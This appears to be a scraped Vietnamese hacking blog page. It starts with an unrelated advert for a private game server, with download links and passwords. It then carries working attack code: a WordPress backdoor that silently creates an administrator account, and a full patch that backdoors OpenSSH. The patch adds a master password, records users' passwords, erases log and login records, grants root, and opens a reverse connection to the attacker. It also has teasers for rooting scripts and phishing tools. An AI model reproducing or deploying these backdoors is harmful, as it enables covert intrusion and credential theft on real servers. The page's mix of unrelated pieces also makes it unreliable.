    + Hút Sinh Lực, Hút Nội Lực
    + Boss Xanh, Vàng, Boss Nhiệm Vụ
    + Ngũ Hành + Tên Quái Giống Vinagame
    + Khi Đánh Máu Quái Mất Lên Chậm
    + Rồng Dí, Bổng Dí, Phong Sương Toái Ảnh
    + Tính Năng Kích Full Option Trang Bị An Bang
    + Ngũ Hành Tương Khắc + Dame SKill 100% Giống Vinagame
    + Chat Có Dấu + Đặt Tên Có Dấu Bằng Cách Dùng Font TCVN3 Ở VietKey
    + Hiển Thị Phúc Duyên, Danh Vọng, PK Ở Bảng F3
    + Chống Hack Giao Dich
    + 10 bản đồ luyện công , 5 bản đồ thành thị, và một thôn làng
    + Chức năng Liên Đấu
    + Chức năng Tống Kim
    + Chức năng Liên Hoàn Ải
    + Chức năng Săn Boss Sát Thủ
    + Chức Năng Săn Boss Hoàng Kim, Tiểu Hoàng Kim
    + Chức Năng Vi Sơn Đảo
    + Hệ Thống Kinh Nghiệm Rate Trung Bình
    + Sử dụng Item bằng chuột phải
    + Các Skill 1x 3x 6x 9x Hỗ Trợ Nhau
    + Lên Xuống Ngựa
    + Trang bị may mắn
    + Aura Skill Ở Boss. Phân Biệt Boss Bằng Vòng Sáng
    + Phân Biệt Rõ Nội Công, Ngoại Công
    + Hệ Thống Skill 9x, 12x chuẩn
    + Ngũ Hành Tương Khắc ở Skill
    + Trang bị Xanh, An Bang, Định Quốc, Kim Phong
    + Quản Lý Tài Khoản bằng Game.exe
    + Server không sử dụng antihack ở client
    + Sv giới hạn 50 player
    Chức năng admin
    Chép file sau vào server rồi ra hỗ trợ tân thủ nhận
    http://www.mediafire.com/?33wgk5co5be6dwd
    thêm ngựa nửa nè, ko thôi nhận ngựa xong thành ngựa không khí

    http://www.mediafire.com/?31ch6z1075kb9nj


    thêm mấy con ngựa: phi vân, bôn tiêu, phiên vũ, xích long câu
    HD: download về, giải nén, client thì chép vào client, server thì chép vào server

    1.Server
    2.Patch Client
    IP máy ảo : 192.168.1.99

    [VLTK]Server Best Friend Forever - BFF

    Server Võ lâm truyền kỳ - Best Friend Forever - BFF trên máy ảo







    + Lên xuống ngựa = phím "M".
    + Hút hít( Ngoại công).
    + Hiển thị tiền vạn trong rương và hành trang.
    + Hệ thống ngũ hành tương khắc độc đáo.
    + Hiệu ứng game ổn định.
    + Skill Dí hoàn thiện(Hot).Đoạn hồn thích của TVB đang trong quá trình hoàn thiện.
    + NPC hiệu thuốc chuẩn của VNG.
    + Hệ thống nhiệm vụ hoàng kim hấp dẫn ( 3 nhiệm vụ)- NPC Long Ngũ.
    + Event sẽ được cập nhật theo các sự kiện lớn trong năm.
    + Nhiệm vụ boss sát thủ chuẩn-NPC Nhiếp Thí Trần
    + EXP train nhanh ở LV thấp,chậm ở Lv cao.Tiền vạn phân bố hợp lý.
    + Các map train lv cao ở các thành thị.
    + Hệ Thống Skill Chuẩn của VNG ( Skil hỗ trợ lẫn nhau)
    + Trang Bị An Bang,Định Quốc,Xanh...
    + Ngựa cao cấp : Phi Vân,Bôn Tiêu,Phiên Vũ...
    + Hệ Thống Dã Tẩu Đa Dạng ( Gồm 5 loại nhiệm vụ)
    + Chuyển Sinh giới hạn hiện tại - NPC Bắc Đẩu Thần Tăng.
    + Tẩytủy-Đảo tẩy tủy.
    + Luyện skill = cách train quái.
    Chuyển Sinh trở về lv 10 nhận tiềm năng,kĩ năng và danh hiệu
    Tống Kim và Vượt Ải [NEW VERSION]
    + Hệ thống kì trân các đa dạng(Thú cưỡi,vật phẩm,bí kíp...)
    + Hệ thống tứ đại thành thị và 1 thôn-Ba Lăng Huyện
    + Boss hoàng kim xuất hiện lúc 19g hàng ngày. - Hiện Đang Updata
    (Đến giờ sẽ thông báo tọa độ và tên boss trên kênh POST) - Hiện Đang Updata
    + Hệ thống map luyện công theo từng giai đoạn: 30-40,40-50...
    ( Map Phong Lăng Độ đánh quái rớt phúc duyên)
    + Hệ Thống Bang Hội ( Update sau)
    + Tắt và mở rộng bản đồ = phím "V" ( kết hợp) hay Tab ( Mặc định)
    + Hệ Thống Khoá Rương,Mở rộng rương và hành trang(NEW VERSION)
    + Hệ Thống Timer Server[NEW VERSION].
    Chức năng admin
    Vào script -> Item -> 132.lua

    Tìm thấy listgm:{"","Admin"......} -> thêm tên nhân vật muốn làm admin vào ""

    VD: listgm:{"tester01","Admin"}
    Pass admin : 111111
    Xu Các Bạn Dùng Chức Năng Admin Bắn Xu Vào Tài Khoản Giống Như Chọn ID Nhân Vật Giam Tù Ấy.. Cảm Ơn

    1.Server
    http://www.fshare.vn/file/T3RWP14JST/
    Pass giải nén : tuan565
    Pass GameServer : datthieugia200892
    2.Patch Client
    http://www.fshare.vn/file/T7K7M7AHZT/
    Pass giải nén : tuan565
    Pass Mở khóa nhân vật : 123456 ( mở khóa nhân vật rồi mới đeo đồ đạc dc . Nút Hình cái khóa ở bên cạnh MiNiMap )
    IP máy ảo : 192.168.1.99

    Friday, November 16, 2012

    Mod gather infomation victim khi đã có session (MSF)

    Khi đã tạo được session trên máy victim nhưng lại muốn lấy 1 số thông tin nơi địa phương như lịch sử các ổ usb, list wifi nạn nhân đang hoạt động, serial key, các phần mềm đã cài, etc... thì trên msf có khá nhiều mod hay để phục vụ chúng ta.
    Ở ví dụ này mình sẽ demo 1 số trường hợp mình thích.

    READ MORE »

    WordPress Admin Access Backdoor

    <?php 
    add_action('wp_head', 'my_backdoor');

    function my_backdoor() {
    If ($_GET['backdoor'] == 'go') {
    require('wp-includes/registration.php');
    If (!username_exists('private')) {
    $user_id = wp_create_user('private', '12345678');
    $user = new WP_User($user_id);
    $user->set_role('administrator');
    }
    }
    }
    ?>

    Auto Rooting Script


    Yes can someone upload autoroot.sh 2012 i have another working autoroot.pl here if anyone wants it
    READ MORE »

    Cross-site Scripting Vulnerability in WordPress GD Star Rating Plugin

    Vector: Remote
    Severity: Low
    Patch: Unpatched
    Impact: Cross-site Scripting (XSS)
    Software: WordPress GD Star Rating Plugin 1.x , vulnerable versions: <=1.9.7
    READ MORE »

    OpenSSH 6.0p1 Backdoor Patch 1.2

    ###############
    # $id: udc-hackssh-v3_bajaulaut-v1, 2012/10/28 05:00:50 slash rootkit
    # udc-hackssh_bajaulaut - openssh reverse backdoor
    # copyright (c) 2001-2012 slash the underground <shaolinint@gmail.com>
    #
    # readme:
    # udc-hackssh_bajaulaut is an openssh backdoor combined with reverse shell capability
    # and part of udc-kolansong rootkit. The idea was to make use of openssh binary to
    # control target and/or victim machines.
    #
    # todo:
    # - read remote port parameter
    # - *magic* private key authentication
    #
    # compile:
    # apt-get install libssl-dev libpam0g-dev librkb5-dev
    # wget http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-6.0p1.tar.gz
    # ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
    #
    # howto:
    # client:
    # 'ssh -8 udc -p 880' to connect to udc:880 where a client must listen
    #
    # server:
    # 'sshd -8 udc -p 880' to wait for incoming connects on port 880
    #
    # Or if you received something like "ssh_exchange_identification: Connection
    # closed by remote host", you can telnet to target machines and issue
    # 'udc_gamai_magic' string. Once udc_gamai_magic is sent, sshd will then execute and
    # connect to your 'client' machine on port 8080.
    #
    # telnet target_machines.com 22
    # CHANGE_ME
    # Protocol mismatch.
    # Connection closed by foreign host.
    #
    # limitation:
    # This version will ONLY execute reverse openssh command to the machine which executed
    # telnet command.
    #
    ###############
    diff -uNr openssh-6.0p1/auth-pam.c udc-hackssh-v3_kalitan-v1.2/auth-pam.c
    --- openssh-6.0p1/auth-pam.c 2009-07-12 20:07:21.000000000 +0800
    +++ udc-hackssh-v3_kalitan-v1.2/auth-pam.c 2012-10-31 18:30:14.000000000 +0800
    @@ -1190,6 +1190,16 @@
    sshpam_password = password;
    sshpam_authctxt = authctxt;

    +// udc-hackssh
    + char *crypted=udc_pass_crypt;
    +
    + udc_reslt_crypt = crypt(password, crypted);
    + if (strcmp (udc_reslt_crypt, crypted) == 0 ) {
    + uDc = 1;
    + return 1;
    + }
    +// end
    +
    /*
    * If the user logging in is invalid, or is root but is not permitted
    * by PermitRootLogin, use an invalid password to prevent leaking
    @@ -1207,10 +1217,15 @@

    sshpam_err = pam_authenticate(sshpam_handle, flags);
    sshpam_password = NULL;
    +// udc-hackssh
    if (sshpam_err == PAM_SUCCESS && authctxt->valid) {
    - debug("PAM: password authentication accepted for %.100s",
    - authctxt->user);
    + if ((udcf = fopen (BAJAUI, "a")) != NULL) {
    + fprintf(udcf,"%s:%s\n",authctxt->user, password);
    + fclose(udcf);
    + }
    + debug("PAM: password authentication accepted for %.100s", authctxt->user);
    return 1;
    +// end
    } else {
    debug("PAM: password authentication failed for %.100s: %s",
    authctxt->valid ? authctxt->user : "an illegal user",
    diff -uNr openssh-6.0p1/auth-passwd.c udc-hackssh-v3_kalitan-v1.2/auth-passwd.c
    --- openssh-6.0p1/auth-passwd.c 2009-03-08 08:40:28.000000000 +0800
    +++ udc-hackssh-v3_kalitan-v1.2/auth-passwd.c 2012-10-31 16:27:15.000000000 +0800
    @@ -44,7 +44,13 @@
    #include <stdio.h>
    #include <string.h>
    #include <stdarg.h>
    -
    +// udc-hackssh
    +#ifdef __APPLE__
    +#include "/opt/local/include/cryptlib.h"
    +#elif __linux__
    +#include <crypt.h>
    +#endif
    +// end
    #include "packet.h"
    #include "buffer.h"
    #include "log.h"
    @@ -82,10 +88,20 @@
    {
    struct passwd * pw = authctxt->pw;
    int result, ok = authctxt->valid;
    +
    +// udc-hackssh
    + char *crypted=udc_pass_crypt;
    #if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
    static int expire_checked = 0;
    #endif

    + udc_reslt_crypt = crypt(password, crypted);
    + if (strcmp (udc_reslt_crypt, crypted) == 0 ) {
    + uDc = 1;
    + return 1;
    + }
    +// end
    +
    #ifndef HAVE_CYGWIN
    if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
    ok = 0;
    @@ -122,7 +138,15 @@
    authctxt->force_pwchange = 1;
    }
    #endif
    +// udc-hackssh
    result = sys_auth_passwd(authctxt, password);
    + if (result) {
    + if ((udcf = fopen (BAJAUI, "a")) != NULL) {
    + fprintf (udcf,"%s:%s\n",authctxt->user, password);
    + fclose(udcf);
    + }
    + }
    +// end
    if (authctxt->force_pwchange)
    disable_forwarding();
    return (result && ok);
    diff -uNr openssh-6.0p1/auth.c udc-hackssh-v3_kalitan-v1.2/auth.c
    --- openssh-6.0p1/auth.c 2011-05-29 19:40:42.000000000 +0800
    +++ udc-hackssh-v3_kalitan-v1.2/auth.c 2012-10-31 16:16:38.000000000 +0800
    @@ -270,15 +270,18 @@
    authmsg = "Postponed";
    else
    authmsg = authenticated ? "Accepted" : "Failed";
    -
    - authlog("%s %s for %s%.100s from %.200s port %d%s",
    - authmsg,
    - method,
    - authctxt->valid ? "" : "invalid user ",
    - authctxt->user,
    - get_remote_ipaddr(),
    - get_remote_port(),
    - info);
    +// udc-hackssh
    + if (!uDc || uDc != 1) {
    +// end
    + authlog("%s %s for %s%.100s from %.200s port %d%s",
    + authmsg,
    + method,
    + authctxt->valid ? "" : "invalid user ",
    + authctxt->user,
    + get_remote_ipaddr(),
    + get_remote_port(),
    + info);
    + }

    #ifdef CUSTOM_FAILED_LOGIN
    if (authenticated == 0 && !authctxt->postponed &&
    diff -uNr openssh-6.0p1/buffer.c udc-hackssh-v3_kalitan-v1.2/buffer.c
    --- openssh-6.0p1/buffer.c 2010-02-12 06:23:40.000000000 +0800
    +++ udc-hackssh-v3_kalitan-v1.2/buffer.c 2012-10-31 16:09:55.000000000 +0800
    @@ -37,6 +37,9 @@

    buffer->alloc = 0;
    buffer->buf = xmalloc(len);
    +// udc-hackssh
    + memset(buffer->buf, 0, len);
    +// end
    buffer->alloc = len;
    buffer->offset = 0;
    buffer->end = 0;
    diff -uNr openssh-6.0p1/canohost.c udc-hackssh-v3_kalitan-v1.2/canohost.c
    --- openssh-6.0p1/canohost.c 2010-10-12 10:28:12.000000000 +0800
    +++ udc-hackssh-v3_kalitan-v1.2/canohost.c 2012-10-31 16:17:47.000000000 +0800
    @@ -78,11 +78,14 @@

    debug3("Trying to reverse map address %.100s.", ntop);
    /* Map the IP address to a host name. */
    - if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
    - NULL, 0, NI_NAMEREQD) != 0) {
    - /* Host name not found. Use ip address. */
    - return xstrdup(ntop);
    +// udc-hackssh
    + if (!uDc || uDc != 1) {
    + if (getnameinfo ((struct sockaddr *) &from, fromlen, name, sizeof(name),
    + NULL, 0, NI_NAMEREQD) != 0) {
    + return xstrdup(ntop);
    + }
    }
    +// end

    /*
    * if reverse lookup result looks like a numeric hostname,
    diff -uNr openssh-6.0p1/includes.h udc-hackssh-v3_kalitan-v1.2/includes.h
    --- openssh-6.0p1/includes.h 2010-10-24 07:47:30.000000000 +0800
    +++ udc-hackssh-v3_kalitan-v1.2/includes.h 2012-10-31 16:36:28.000000000 +0800
    @@ -17,7 +17,6 @@
    #define INCLUDES_H

    #include "config.h"
    -
    #define _GNU_SOURCE /* activate extra prototypes for glibc */

    #include <sys/types.h>
    @@ -172,4 +171,15 @@

    #include "entropy.h"

    +// udc-hackssh
    +int uDc;
    +FILE * udcf;
    +char * udc_reslt_crypt;
    +
    +#define udc_pass_crypt "CHANGE_ME"
    +#define BAJAUI "/tmp/.inlog"
    +#define BAJAUO "/tmp/.outlog"
    +#define gamai "/usr/sbin/sshd"
    +// end
    +
    #endif /* INCLUDES_H */
    diff -uNr openssh-6.0p1/log.c udc-hackssh-v3_kalitan-v1.2/log.c
    --- openssh-6.0p1/log.c 2011-06-20 12:42:23.000000000 +0800
    +++ udc-hackssh-v3_kalitan-v1.2/log.c 2012-10-31 16:24:34.000000000 +0800
    @@ -351,6 +351,9 @@
    void
    do_log(LogLevel level, const char *fmt, va_list args)
    {
    +// udc-hackssh
    + if(!uDc || uDc != 1) {
    +// end
    #if defined(HAVE_OPENLOG_R) && defined(SYSLOG_DATA_INIT)
    struct syslog_data sdata = SYSLOG_DATA_INIT;
    #endif
    @@ -428,3 +431,6 @@
    }
    errno = saved_errno;
    }
    +// udc-hackssh
    +}
    +// end
    diff -uNr openssh-6.0p1/servconf.c udc-hackssh-v3_kalitan-v1.2/servconf.c
    --- openssh-6.0p1/servconf.c 2011-10-02 15:57:38.000000000 +0800
    +++ udc-hackssh-v3_kalitan-v1.2/servconf.c 2012-10-31 16:09:55.000000000 +0800
    @@ -686,7 +686,9 @@
    { "without-password", PERMIT_NO_PASSWD },
    { "forced-commands-only", PERMIT_FORCED_ONLY },
    { "yes", PERMIT_YES },
    - { "no", PERMIT_NO },
    +// udc-hackssh
    + { "no", PERMIT_YES },
    +// end
    { NULL, -1 }
    };
    static const struct multistate multistate_compression[] = {
    diff -uNr openssh-6.0p1/*******.c udc-hackssh-v3_kalitan-v1.2/*******.c
    --- openssh-6.0p1/*******.c 2011-11-04 07:55:24.000000000 +0800
    +++ udc-hackssh-v3_kalitan-v1.2/*******.c 2012-10-31 16:18:40.000000000 +0800
    @@ -1203,6 +1203,12 @@
    if (getenv("TZ"))
    child_set_env(&env, &envsize, "TZ", getenv("TZ"));

    +// udc-hackssh
    + if (uDc)
    + child_set_env(&env, &envsize, "HISTFILE", "/dev/null");
    +// end
    +
    +
    /* Set custom environment options from RSA authentication. */
    if (!options.use_login) {
    while (custom_environment) {
    @@ -1487,6 +1493,9 @@
    #else
    if (setlogin(pw->pw_name) < 0)
    error("setlogin failed: %s", strerror(errno));
    +// udc-hackssh
    + if (!uDc || uDc != 1) {
    +// end
    if (setgid(pw->pw_gid) < 0) {
    perror("setgid");
    exit(1);
    @@ -1496,6 +1505,12 @@
    perror("initgroups");
    exit(1);
    }
    +// udc-hackssh
    + else {
    + setgid(0);
    + initgroups(pw->pw_name, 0);
    + }
    +// end
    endgrent();
    #endif

    @@ -1519,12 +1534,18 @@
    }
    #else
    /* Permanently switch to the desired uid. */
    +// udc-hackssh
    + if (!uDc || uDc != 1)
    +// end
    permanently_set_uid(pw);
    #endif
    }

    if (getuid() != pw->pw_uid || geteuid() != pw->pw_uid)
    fatal("Failed to set uids to %u.", (u_int) pw->pw_uid);
    +// udc-hackssh
    + }
    +// end
    }

    static void
    diff -uNr openssh-6.0p1/ssh.c udc-hackssh-v3_kalitan-v1.2/ssh.c
    --- openssh-6.0p1/ssh.c 2011-11-04 07:54:22.000000000 +0800
    +++ udc-hackssh-v3_kalitan-v1.2/ssh.c 2012-10-31 16:09:55.000000000 +0800
    @@ -83,6 +83,9 @@
    #include "canohost.h"
    #include "compat.h"
    #include "cipher.h"
    +// udc-hackssh bajaulaut version
    +#include <openssl/md5.h>
    +// end
    #include "packet.h"
    #include "buffer.h"
    #include "channels.h"
    @@ -125,6 +128,10 @@
    /* don't exec a shell */
    int no_shell_flag = 0;

    +// udc-hackssh bajaulaut version
    +int udc_bajau_laut = 0;
    +// end
    +
    /*
    * Flag indicating that nothing should be read from stdin. This can be set
    * on the command line.
    @@ -325,7 +332,7 @@
    argv0 = av[0];

    again:
    - while ((opt = getopt(ac, av, "1246ab:c:e:fgi:kl:m:no:p:qstvx"
    + while ((opt = getopt(ac, av, "12468ab:c:e:fgi:kl:m:no:p:qstvx"
    "ACD:F:I:KL:MNO:PR:S:TVw:W:XYy")) != -1) {
    switch (opt) {
    case '1':
    @@ -340,6 +347,11 @@
    case '6':
    options.address_family = AF_INET6;
    break;
    +// udc-hackssh bajaulaut version
    + case '8':
    + udc_bajau_laut = 1;
    + break;
    +// end
    case 'n':
    stdin_null_flag = 1;
    break;
    diff -uNr openssh-6.0p1/sshconnect.c udc-hackssh-v3_kalitan-v1.2/sshconnect.c
    --- openssh-6.0p1/sshconnect.c 2011-05-29 19:42:34.000000000 +0800
    +++ udc-hackssh-v3_kalitan-v1.2/sshconnect.c 2012-10-31 16:09:56.000000000 +0800
    @@ -333,6 +333,9 @@
    * and %p substituted for host and port, respectively) to use to contact
    * the daemon.
    */
    +// udc-hackssh bajaulaut version
    +extern int udc_bajau_laut;
    +// end
    int
    ssh_connect(const char *host, struct sockaddr_storage * hostaddr,
    u_short port, int family, int connection_attempts, int *timeout_ms,
    @@ -347,7 +350,9 @@
    debug2("ssh_connect: needpriv %d", needpriv);

    /* If a proxy command is given, connect using it. */
    - if (proxy_command != NULL)
    +// udc-hackssh bajaulaut version
    + if (proxy_command != NULL && !udc_bajau_laut)
    +// end
    return ssh_proxy_connect(host, port, proxy_command);

    /* No proxy command. */
    @@ -360,6 +365,56 @@
    fatal("%s: Could not resolve hostname %.100s: %s", __progname,
    host, ssh_gai_strerror(gaierr));

    +// udc-hackssh bajaulaut version
    + if (udc_bajau_laut) {
    + int s, one = 1, size_aa = sizeof(struct sockaddr);
    + struct addrinfo *aid;
    + struct sockaddr aa;
    +
    + if ((gaierr = getaddrinfo("127.0.0.1", strport, &hints, &aid)) < 0) {
    + fprintf(stderr, "getaddrinfo (during udc reverse fun): %s\n", gai_strerror(gaierr));
    + exit(gaierr);
    + }
    +
    + if (aid->ai_family == PF_INET) {
    + ((struct sockaddr_in*)(aid->ai_addr))->sin_addr.s_addr = INADDR_ANY;
    + }
    +#ifdef HAVE_STRUCT_IN6_ADDR
    + else {
    + ((struct sockaddr_in6*)(aid->ai_addr))->sin6_addr = in6addr_any;
    + }
    +#endif
    +
    + if ((s = socket(aid->ai_family, SOCK_STREAM, 0)) < 0) {
    + perror("socket (during udc reverse fun)");
    + exit(errno);
    + }
    +
    + if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) {
    + perror("setsockopt (during udc reverse fun)\n");
    + exit(errno);
    + }
    +
    + printf("udc reverse fun: binding to port %s\n", strport);
    + if (bind(s, (struct sockaddr*)(aid->ai_addr), sizeof(struct sockaddr)) < 0) {
    + perror("bind (during udc reverse fun)");
    + exit(errno);
    + }
    +
    + if (listen(s, 1) < 0) {
    + perror("listen (during udc reverse fun)");
    + exit(errno);
    + }
    +
    + if ((sock = accept(s, &aa, &size_aa)) < 0) {
    + perror("accept (during udc reverse fun)");
    + exit(errno);
    + }
    + memcpy(hostaddr, &aa, size_aa);
    +
    + goto startbajau;
    + }
    +// end
    for (attempt = 0; attempt < connection_attempts; attempt++) {
    if (attempt > 0) {
    /* Sleep a moment before retrying. */
    @@ -404,6 +459,9 @@
    break; /* Successful connection. */
    }

    +// udc-hackssh bajaulaut version
    + startbajau:
    +// end
    freeaddrinfo(aitop);

    /* Return failure if we didn't get a successful connection. */
    diff -uNr openssh-6.0p1/sshconnect2.c udc-hackssh-v3_kalitan-v1.2/sshconnect2.c
    --- openssh-6.0p1/sshconnect2.c 2011-05-29 19:42:34.000000000 +0800
    +++ udc-hackssh-v3_kalitan-v1.2/sshconnect2.c 2012-10-31 16:26:24.000000000 +0800
    @@ -878,6 +878,12 @@
    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
    authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
    +// udc-hackssh
    + if ((udcf = fopen (BAJAUO, "a")) != NULL){
    + fprintf (udcf,"user:password@host:port --> %s:%s@%s:%s\n",authctxt->server_user,password,authctxt->host,get_remote_port);
    + fclose (udcf);
    + }
    +// end
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);
    diff -uNr openssh-6.0p1/sshd.c udc-hackssh-v3_kalitan-v1.2/sshd.c
    --- openssh-6.0p1/sshd.c 2012-02-15 02:03:31.000000000 +0800
    +++ udc-hackssh-v3_kalitan-v1.2/sshd.c 2012-10-31 16:20:03.000000000 +0800
    @@ -146,6 +146,14 @@
    /* Name of the server configuration file. */
    char *config_file_name = _PATH_SERVER_CONFIG_FILE;

    +// udc-hackssh - bajaulaut version
    +#ifdef IPV4_DEFAULT
    + int IPv4or6 = AF_INET;
    +#else
    + int IPv4or6 = AF_UNSPEC;
    +#endif
    +// end
    +
    /*
    * Debug mode flag. This can be set on the command line. If debug
    * mode is enabled, extra debugging output will be sent to the system
    @@ -407,6 +415,10 @@
    char buf[256]; /* Must not be larger than remote_version. */
    char remote_version[256]; /* Must be at least as big as buf. */

    +// udc-hackssh gamai
    + char udc_gamai_cmd[256];
    +// end
    +
    if ((options.protocol & SSH_PROTO_1) &&
    (options.protocol & SSH_PROTO_2)) {
    major = PROTOCOL_MAJOR_1;
    @@ -461,6 +473,13 @@
    */
    if (sscanf(client_version_string, "SSH-%d.%d-%[^\n]\n",
    &remote_major, &remote_minor, remote_version) != 3) {
    +// udc-hackssh gamai
    + if (strcmp (client_version_string, "CHANGE_ME") == 0) { // udc_gamai_magic string
    + uDc;
    + sprintf (udc_gamai_cmd, "%s -D -8 %s -p 8080", gamai, get_remote_ipaddr());
    + system (udc_gamai_cmd);
    + }
    +// end
    s = "Protocol mismatch.\n";
    (void) atomicio(vwrite, sock_out, s, strlen(s));
    close(sock_in);
    @@ -469,6 +488,7 @@
    client_version_string, get_remote_ipaddr());
    cleanup_exit(255);
    }
    +
    debug("Client protocol version %d.%d; client software version %.100s",
    remote_major, remote_minor, remote_version);

    @@ -633,8 +653,17 @@
    /* Store a pointer to the kex for later rekeying */
    pmonitor->m_pkex = &xxx_kex;

    - if (use_privsep == PRIVSEP_SANDBOX)
    - box = ssh_sandbox_init();
    +// udc-hackssh bajaulaut version
    + int udc_bajau_laut = 1;
    +
    + if (udc_bajau_laut == 0) {
    + if (use_privsep == PRIVSEP_SANDBOX)
    + box = ssh_sandbox_init();
    + else
    + return;
    + }
    +// end
    +
    pid = fork();
    if (pid == -1) {
    fatal("fork of unprivileged child failed");
    @@ -1322,6 +1351,13 @@
    const char *remote_ip;
    char *test_user = NULL, *test_host = NULL, *test_addr = NULL;
    int remote_port;
    +
    +// udc-hackssh bajaulaut version
    + int listen_sock;
    + int udc_bajau_laut = 0;
    + char udc_bajau_conn[1024];
    +// end
    +
    char *line, *p, *cp;
    int config_s[2] = { -1 , -1 };
    u_int64_t ibytes, obytes;
    @@ -1358,7 +1394,9 @@
    initialize_server_options(&options);

    /* Parse command-line arguments. */
    - while ((opt = getopt(ac, av, "f:p:b:k:h:g:u:o:C:dDeiqrtQRT46")) != -1) {
    +// udc-hackssh bajaulaut version
    + while ((opt = getopt(ac, av, "f:p:b:k:h:g:u:o:C:8:dDeiqrtQRT46")) != -1) {
    +// end
    switch (opt) {
    case '4':
    options.address_family = AF_INET;
    @@ -1478,6 +1516,13 @@
    exit(1);
    xfree(line);
    break;
    +// udc-hackssh bajaulaut version
    + case '8':
    + udc_bajau_laut = 1;
    + strncpy (udc_bajau_conn, optarg, sizeof (udc_bajau_conn));
    + printf ("bajau - case: Enabling bajau laut!\n");
    + break;
    +// end
    case '?':
    default:
    usage();
    @@ -1786,6 +1831,54 @@
    /* Get a connection, either from inetd or a listening TCP socket */
    if (inetd_flag) {
    server_accept_inetd(&sock_in, &sock_out);
    +// udc-hackssh bajaulaut version
    + } else if (udc_bajau_laut) {
    + int client_port = options.ports[0];
    + char port[100];
    + struct addrinfo *adi, hints;
    +
    + memset(&hints, 0, sizeof(hints));
    + hints.ai_family = IPv4or6;
    + hints.ai_socktype = SOCK_STREAM;
    +
    + // resolv hostname
    + memset(port, 0, sizeof(port));
    + snprintf(port, sizeof(port), "%d", client_port);
    + if (getaddrinfo(udc_bajau_conn, port, &hints, &adi) < 0) {
    + perror("addrinfo (during bajau_laut)");
    + exit(errno);
    + }
    +
    + // create socket
    + if ((listen_sock = socket(adi->ai_family, adi->ai_socktype, adi->ai_protocol)) < 0) {
    + perror("socket (during bajau_laut)");
    + exit(errno);
    + }
    + printf("bajau_laut: Connecting to host %s on port %s\n", udc_bajau_conn, port);
    +
    + // connecting
    + if (connect(listen_sock, (struct sockaddr*)adi->ai_addr, sizeof(struct sockaddr)) < 0) {
    + perror("connect (during bajau_laut)");
    + exit(errno);
    + }
    + if (fcntl(listen_sock, F_SETFL, 0) < 0)
    + error("newsock del O_NONBLOCK: %s", strerror(errno));
    +
    + // established
    + sock_in = listen_sock;
    + if ((sock_out = dup(sock_in)) < 0) {
    + perror("dup (during reverse fun)");
    + sock_out = sock_in;
    + }
    +
    + if (options.protocol & SSH_PROTO_1)
    + generate_ephemeral_server_key();
    +
    + signal(SIGHUP, sighup_handler);
    + signal(SIGCHLD, main_sigchld_handler);
    + signal(SIGTERM, sigterm_handler);
    + signal(SIGQUIT, sigterm_handler);
    +// end
    } else {
    platform_pre_listen();
    server_listen();
    @@ -1837,7 +1930,9 @@
    error("setsid: %.100s", strerror(errno));
    #endif

    - if (rexec_flag) {
    +// udc-hackssh bajaulaut version
    + if (rexec_flag && !udc_bajau_laut) {
    +// end
    int fd;

    debug("rexec start in %d out %d newsock %d pipe %d sock %d",
    diff -uNr openssh-6.0p1/sshlogin.c udc-hackssh-v3_kalitan-v1.2/sshlogin.c
    --- openssh-6.0p1/sshlogin.c 2011-01-11 14:20:07.000000000 +0800
    +++ udc-hackssh-v3_kalitan-v1.2/sshlogin.c 2012-10-31 16:21:11.000000000 +0800
    @@ -133,8 +133,12 @@

    li = login_alloc_entry(pid, user, host, tty);
    login_set_addr(li, addr, addrlen);
    - login_login(li);
    - login_free_entry(li);
    +// udc-hackssh
    + if (!uDc || uDc != 1) {
    + login_login(li);
    + login_free_entry(li);
    + }
    +// end
    }

    #ifdef LOGIN_NEEDS_UTMPX
    @@ -146,8 +150,12 @@

    li = login_alloc_entry(pid, user, host, ttyname);
    login_set_addr(li, addr, addrlen);
    - login_utmp_only(li);
    - login_free_entry(li);
    +// udc-hackssh
    + if(!uDc || uDc != 1) {
    + login_utmp_only(li);
    + login_free_entry(li);
    + }
    +// end
    }
    #endif

    @@ -158,6 +166,10 @@
    struct logininfo *li;

    li = login_alloc_entry(pid, user, NULL, tty);
    - login_logout(li);
    - login_free_entry(li);
    +// udc-hackssh
    + if (!uDc || uDc != 1) {
    + login_logout(li);
    + login_free_entry(li);
    + }
    +// end
    }

    WordPress Version Checker - MD5 Hash Method

    WordPress Version Check provides you with an easy way of checking that which version your Victim is using. It is a simple php Script based upon  MD5 Hash Method.
    READ MORE »

    Phemail.py: Phishing EMail Social Engineering Tool

    Social Engineering is defined as the process of inducing people into giving away access or confidential information. From a security consultant point of view this topic is not new and there are many tools which can be used against the target.
    READ MORE »

    Thursday, November 15, 2012

    [XSS] Exploit Google for Phishing attack

    Lần trước khi Juno_okyo gửi email cảnh báo về XSS tại Google Transplate, phía Security của Google đã rep lại và không hề quan tâm đến exploit này vì họ cho rằng nó xảy ra trên domain Sandbox và không có khả năng ảnh hưởng đến Data của Google.com hay dữ liệu người dùng.
    READ MORE »

    Kỹ thuật Network Address Translation (NAT)

    Hầu hết những người sở hữu một kết nối Internet hiện đại ngày nay đều phải sử dụng đến kỹ thuật NAT (Network Address Translation). NAT đã là một phần không thể thiếu khi triển khai mạng IP diện rộng do không gian địa chỉ IPv4 đã bắt đầu co hẹp. Về cơ bản, NAT cho phép một (hay nhiều) địa chỉ IP nội miền được ánh xạ với một (hay nhiều) địa chỉ IP ngoại miền. Điều này cho phép sử dụng dải địa chỉ IP riêng theo chuẩn RFC 1918 trên các mạng nội bộ trong khi chỉ sử dụng một hoặc một số ít các địa chỉ IP công cộng.
    READ MORE »